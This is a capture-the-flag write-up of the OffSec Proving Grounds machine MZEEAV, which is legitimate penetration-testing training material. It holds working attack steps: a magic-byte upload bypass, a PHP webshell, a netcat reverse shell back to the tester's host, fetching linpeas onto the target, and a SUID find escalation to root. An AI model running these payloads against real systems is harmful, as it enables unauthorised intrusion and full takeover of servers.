Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - MZEEAV

·1935 words·10 mins·
OFFSEC PG PRACTICE BURP
Table of Contents

Summary
#

On port 80 there is a web application running called: MZEE-AV 2022. In the /backups directory there is a ZIP file that contains the source code of the application. The application screens for a magic byte MZ where the uploaded file needs to start with. This knowledge allows us to upload a PHP webshell and gives us initial access as the www-data user. Once on the target we find a /opt/fileS which is a renamed binary from find. Using this binary we can escalate our privileges to the root user.

Specifications
#

  • Name: MZEEAV
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Intermediate
  • System overview: Linux mzeeav 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64 GNU/Linux
  • IP address: 192.168.178.33
  • OFFSEC provided credentials: None
  • HASH: local.txt:e4b93e50696377538a7c23ece323771d
  • HASH: proof.txt:ad640add8dd303dc062e3fb995417d80

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir mzeeav && cd mzeeav && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 14 08:45 .
drwxrwxr-x 65 kali kali 4096 Sep 14 08:45 ..
drwxrwxr-x  2 kali kali 4096 Sep 14 08:45 enum
drwxrwxr-x  2 kali kali 4096 Sep 14 08:45 exploits
drwxrwxr-x  2 kali kali 4096 Sep 14 08:45 files
drwxrwxr-x  2 kali kali 4096 Sep 14 08:45 tools
drwxrwxr-x  2 kali kali 4096 Sep 14 08:45 uploads

## set bash variable
ip=192.168.178.33

## ping target to check if it's online
ping $ip

PING 192.168.178.33 (192.168.178.33) 56(84) bytes of data.
64 bytes from 192.168.178.33: icmp_seq=1 ttl=61 time=18.5 ms
64 bytes from 192.168.178.33: icmp_seq=2 ttl=61 time=20.6 ms
^C
--- 192.168.178.33 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.543/19.567/20.592/1.024 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.178.33:22
Open 192.168.178.33:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 08:46 CEST
Initiating Ping Scan at 08:46
Scanning 192.168.178.33 [4 ports]
Completed Ping Scan at 08:46, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:46
Completed Parallel DNS resolution of 1 host. at 08:46, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:46
Scanning 192.168.178.33 [2 ports]
Discovered open port 22/tcp on 192.168.178.33
Discovered open port 80/tcp on 192.168.178.33
Completed SYN Stealth Scan at 08:46, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.178.33
Host is up, received echo-reply ttl 61 (0.021s latency).
Scanned at 2025-09-14 08:46:11 CEST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNEbgprJqVJa8R95Wkbo3cemB4fdRzos+v750LtPEnRs+IJQn5jcg5l89Tx4junU+AXzLflrMVo55gbuKeNTDtFRU9ltlIu4AU+f7lRlUlvAHlNjUbU/z3WBZ5ZU9j7Xc9WKjh1Ov7chC0UnDdyr5EGrIwlLzgk8zrWx364+S4JqLtER2/n0rhVxa9RCw0tR/oL24kMep4q7rFK6dThiRtQ9nsJFhh6yw8Fmdg7r4uohqH70UJurVwVNwFqtr/86e4VSSoITlMQPZrZFVvoSsjyL8LEODt1qznoLWudMD95Eo1YFSPID5VcS0kSElfYigjSr+9bNSdlzAof1mU6xJA67BggGNu6qITWWIJySXcropehnDAt2nv4zaKAUKc/T0ij9wkIBskuXfN88cEmZbu+gObKbLgwQSRQJIpQ+B/mA8CD4AiaTmEwGSWz1dVPp5Fgb6YVy6E4oO9ASuD9Q1JWuRmnn8uiHF/nPLs2LC2+rh3nPLXlV+MG/zUfQCrdrE=
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCUhhvrIBs53SApXKZYHWBlpH50KO3POt8Y+WvTvHZ5YgRagAEU5eSnGkrnziCUvDWNShFhLHI7kQv+mx+4R6Wk=
|   256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4MSEXnpONsc0ANUT6rFQPWsoVmRW4hrpSRq++xySM9
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: MZEE-AV - Check your files
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: MZEE-AV - Check your files
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS

On port 80 we find a web application called MZEE-AV 2022 with an Browse and Upload functionality.

Uploading the ./files/ports files we get this response from listing.php. All of these files we didn’t upload. But we cannot do anything further.

So, let’s run gobuster to see if there are interesting directories. We find a directory called /backups.

## run `gobuster` 
gobuster dir -t 100 -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.178.33:80/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/upload               (Status: 301) [Size: 317] [--> http://192.168.178.33/upload/]
/backups              (Status: 301) [Size: 318] [--> http://192.168.178.33/backups/]
/server-status        (Status: 403) [Size: 279]
<SNIP>

When we visit this directory in the browser, we get a directory listing and access to a backup.zip ZIP file.

Let’s download this ZIP file and extract it to see what’s in it. It contains a var directory with what it looks like a backup of the web application. Two interesting PHP files, named: listing.php and upload.php.

## change directory
cd files

## move the ZIP file to `./files`
mv ~/Downloads/backup.zip .

## extract ZIP file
7z x "*.zip"

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 330055 bytes (323 KiB)

Extracting archive: backup.zip
--
Path = backup.zip
Type = zip
Physical Size = 330055

Everything is Ok

Folders: 2
Files: 6
Size:       379060
Compressed: 330055

## list directories and files in `var`
tree var       
var
└── www
    └── html
        ├── index.html
        ├── listing.php
        ├── upload
        │   ├── index.html
        │   ├── wget.exe
        │   └── whoami.exe
        └── upload.php

4 directories, 6 files

upload.php contains some interesting code and looks like this:

<?php

/* Get the name of the uploaded file */
$filename = $_FILES['file']['name'];

/* Choose where to save the uploaded file */
$tmp_location = "upload/file.tmp";
$location = "upload/".$filename;

/* Move the file temporary */
move_uploaded_file($_FILES['file']['tmp_name'], $tmp_location);

/* Check MagicBytes MZ PEFILE 4D5A*/
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4)); 
error_log(print_r("Magicbytes:" . $magicbytes, TRUE));

/* if its not a PEFILE block it - str_contains onlz php 8*/
//if ( ! (str_contains($magicbytes, '4D5A'))) {
if ( strpos($magicbytes, '4D5A') === false ) {
	echo "Error no valid PEFILE\n";
	error_log(print_r("No valid PEFILE", TRUE));
	error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
	exit ();
}

rename($tmp_location, $location);
?>

Here we see that, using fread, the first two bytes are read from the uploaded file and used in this entry: $magicbytes = strtoupper(substr(bin2hex($magic),0,4));. So it’s converted using bin2hex and eventually compared against: 4D5A. Using an online hex converter (https://www.scadacore.com/tools/programming-calculators/online-hex-converter/) we see the first two bytes of the uploaded file are compare with the ASCII value: MZ.

So, start BURP and set it to intercept. Now, when try to upload the ./files/ports file again and send the intercepted request to repeater, we add the characters MZ in front of the file content and Click on Send.

We get a 200 OK as a response, so that’s good. Looking at the output, we indeed see our uploaded file in the list.

So, let’s get a webshell. First, create a file called shell.php with our reverse shell command (<?php system($_REQUEST['cmd']); ?>) and upload it using previous technique or change the current request in repeater like this:

## change directory
cd files

## create a file called `shell.php` with this content:
<?php system($_REQUEST['cmd']); ?>

You should see the output like this:

Visiting this URL (http://192.168.178.33/upload/shell.php?cmd=id) in the browser gives us code execution on the target.

So, let’s get a reverse shell. Get the local IP address on tun0, setup a listener and go to this URL: (http://192.168.178.33/upload/shell.php?cmd=nc+192.168.45.211+9001+-c+bash). Now, we get initial access as the www-data user in the /var/www/html/upload directory.

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211

## setup a listener
nc -lvnp 9001 
listening on [any] 9001 ...

## catch the reverse shell
nc -lvnp 9001 
listening on [any] 9001 ...
connect to [192.168.45.211] from (UNKNOWN) [192.168.178.33] 48752

## print current user
whoami
www-data

## print current working directory
pwd
/var/www/html/upload

## find `local.txt` on the filesystem
find  / -iname 'local.txt' 2>/dev/null
/home/avuser/local.txt

## print `local.txt`
cat /home/avuser/local.txt
e4b93e50696377538a7c23ece323771d

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
www-data@mzeeav:/var/www/html/upload$ export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211

## start local webserver
python3 -m http.server 80

## on target
## change directory
www-data@mzeeav:/var/www/html/upload$ cd /var/tmp
www-data@mzeeav:/var/tmp$

## download `linpeas.sh`
www-data@mzeeav:/var/tmp$ wget http://192.168.45.211/linpeas.sh
--2025-09-14 03:17:11--  http://192.168.45.211/linpeas.sh
Connecting to 192.168.45.211:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                          0%[                                                    linpeas.sh                                        100%[=============================================================================================================>] 939.29K  5.16MB/s    in 0.2s    

2025-09-14 03:17:11 (5.16 MB/s) - 'linpeas.sh' saved [961834/961834]

## set the execution bit
www-data@mzeeav:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
www-data@mzeeav:/var/tmp$ ./linpeas.sh 

The linpeas.sh output shows a binary /opt/fileS which has the SUID bit set. Using the --version option we can see this is the find binary, but it’s names fileS.

## get details on version of binary
www-data@mzeeav:/var/tmp$ /opt/fileS --version
find (GNU findutils) 4.8.0
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by Eric B. Decker, James Youngman, and Kevin Dalley.
Features enabled: D_TYPE O_NOFOLLOW(enabled) LEAF_OPTIMISATION FTS(FTS_CWDFD) CBO(level=2) 

Using GTFOBins (https://gtfobins.github.io/gtfobins/find/#suid) we can escalate our privileges to the root user.

## escalate to the `root` user using the `find` binary
www-data@mzeeav:/var/tmp$ /opt/fileS . -exec /bin/sh -p \; -quit
#

## print current user
# whoami
root

## print `proof.txt`
# cat /root/proof.txt
ad640add8dd303dc062e3fb995417d80

References
#

[+] https://www.scadacore.com/tools/programming-calculators/online-hex-converter/
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://gtfobins.github.io/gtfobins/find/#suid

Related

OFFSEC - Proving Grounds - GRAPH
·2351 words·12 mins
OFFSEC PG PRACTICE GRAPHQL CURL BURP HASHCAT MKPASSWD
On port 80 is a graphql endpoint with SQL injection and gets hashes. Crack one for initial access. Python script with newline injection sets josh password. As josh, read /etc/shadow, crack root’s hash and escalate to root.
OFFSEC - Proving Grounds - CHARLOTTE
·4141 words·20 mins
OFFSEC PG PRACTICE SHOWMOUNT GOBUSTER BURP EJS SSH-KEYGEN
Use credentials or mount shares for application code. Leak creds via nginx (80) using BURP. Exploit RCE as www-data. Deploy JS to abuse a cronjob and move laterally. Escalate to root with sudo/bash.
OFFSEC - Proving Grounds - PHOBOS
·2992 words·15 mins
OFFSEC PG PRACTICE GOBUSTER SVN BURP PWNKIT MONGODB PYMONGO
Find svn directory on port 80, enumerate logs for hostname. Register user and exploit code for LFI/RCE and initial access, use pwnkit (CVE-2021-4034) or crack root SHA-512 from MongoDB to escalate to root.
OFFSEC - Proving Grounds - BOOLEAN
·2045 words·10 mins
OSCP OFFSEC PG PRACTICE SSH-KEYGEN BURP
Login screen can be bypassed via register JSON tweak and provides access remi’s .ssh directory. Upload our own SSH key for initial access and get root’s private key for privilege escalation.
OFFSEC - Proving Grounds - VMDAK
·3176 words·15 mins
OSCP OFFSEC PG PRACTICE PRISON MANAGEMENT SYSTEM MYSQL CHISEL JENKINS BURP
Prison management system on port 9443 vulnerable to SQL injection & RCE once initial access got MySQL creds and SSH in. Using port forward on 8080 we can exploit Jenkins (CVE-2024-23897) for root.
OFFSEC - Proving Grounds - TICO
·2993 words·15 mins
OFFSEC PG PRACTICE NODEBB BURP
Use OFFSEC SSH credentials for initial access or exploit NodeBB on 8080 (CVE-2020-15149) for admin access. Write SSH key to root’s authorized_keys to escalate to root.